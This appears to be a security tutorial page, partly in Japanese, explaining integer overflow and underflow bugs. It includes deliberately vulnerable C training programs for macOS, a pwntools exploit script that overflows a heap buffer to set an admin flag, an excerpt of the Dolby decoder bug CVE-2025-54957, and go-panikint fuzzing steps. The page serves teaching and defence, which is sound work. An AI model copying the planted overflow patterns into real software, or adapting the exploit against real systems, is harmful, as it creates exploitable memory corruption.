Integer Overflow

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基本情報

At the heart of an integer overflow is the limitation imposed by the サイズ of data types in computer programming and the 解釈 of the data.

For example, an 8-bit 符号なし整数 can represent values from 0 to 255. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a 16-bit 符号なし整数, which can hold values from 0 to 65,535, adding 1 to 65,535 will wrap the value back to 0.

Moreover, an 8-bit 符号付き整数 can represent values from -128 to 127. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as -128 (binary 10000000), and the most positive number is 127 (binary 01111111).

一般的な整数型の最大値と最小値:

サイズ(ビット)最小値最大値
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

A short is equivalent to a int16_t and an int is equivalent to a int32_t and a long is equivalent to a int64_t in 64bits systems.

最大値

For potential web vulnerabilities it’s very interesting to know the maximum supported values:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

Pure overflow

出力結果は0になります。charがoverflowしたためです:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Signed to Unsigned Conversion

ユーザー入力からsigned integerが読み取られ、その値が適切に検証されずにunsigned integerとして扱われるコンテキストで使用される状況を考えてみてください:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

この例では、ユーザーが負の数を入力すると、バイナリ値の解釈方法により大きな符号なし整数として解釈され、予期しない動作を引き起こす可能性があります。

macOS Overflow の例

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

次のコマンドでコンパイルします:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS アンダーフローの例

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

次のコマンドでコンパイルしてください:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

アロケータのアラインメント丸めのラップ → undersized chunk → heap overflow (Dolby UDC case)

一部のカスタムアロケータは、オーバーフローを再確認せずにアラインメント単位に割り当てサイズを繰り上げます。Dolby Unified Decoder (Pixel 9, CVE-2025-54957) では、攻撃者が制御する emdf_payload_size(無制限の variable_bits(8) ループでデコードされる)が ddp_udc_int_evo_malloc に渡されます:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

64ビットの値が 0xFFFFFFFFFFFFFFF9 に近い場合、(8 - total_size) % total_size によって加算がラップし、論理的な alloc_size は巨大なままでも 極めて小さい total_size が生成されます。呼び出し側は後で返されたチャンクに payload_length バイトを書き込みます:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

なぜ exploitation がこのパターンで信頼できるのか:

  • Overflow length control: バイトは別の攻撃者指定の長さ(emdf_container_length)で制限された reader から供給されるため、書き込みは payload_length をスプレーするのではなく N バイトで停止する。
  • Overflow data control: チャンクを越えて書き込まれるバイトは、完全に攻撃者供給の EMDF payload から来る。
  • Heap determinism: アロケータはフレームごとの bump-pointer slab で free がないため、破損したオブジェクトの隣接性は予測可能である。

Other Examples

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

Go integer overflow detection with go-panikint

Go は整数のオーバーフローを静かにラップします。 go-panikint はフォークされた Go toolchain で、SSA オーバーフロー検査を注入し、ラップされた算術演算が即座に runtime.panicoverflow()(panic + stack trace)を呼ぶようにします。

Why use it

  • 算術のラップがクラッシュするようになるため、fuzzing/CI で overflow/truncation を検出しやすくなる。
  • ユーザ制御の pagination、offset、quota、サイズ計算、またはアクセス制御の算術(例: end := offset + limit が小さくラップする uint64)周辺で有用である。

Build & use

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

オーバーフローをパニックとして表出させるために、このフォークしたgoバイナリを tests/fuzzing で実行してください。

ノイズ制御

  • 切り捨てチェック(より小さい整数へのキャスト)はノイズが多くなることがあります。
  • 意図的なラップアラウンドは、ソースパスフィルタやインラインの// overflow_false_positive / // truncation_false_positiveコメントで抑制してください。

実世界のパターン

go-panikint は Cosmos SDK の uint64 ページネーションのオーバーフローを明らかにしました: end := pageRequest.Offset + pageRequest.LimitMaxUint64 を超えてラップし、結果として空の結果を返していました。インストルメンテーションによりその沈黙するラップをパニックに変え、fuzzers が最小化できるようになりました。

ARM64

ARM64では変わりません。詳しくは this blog post を参照してください。

References

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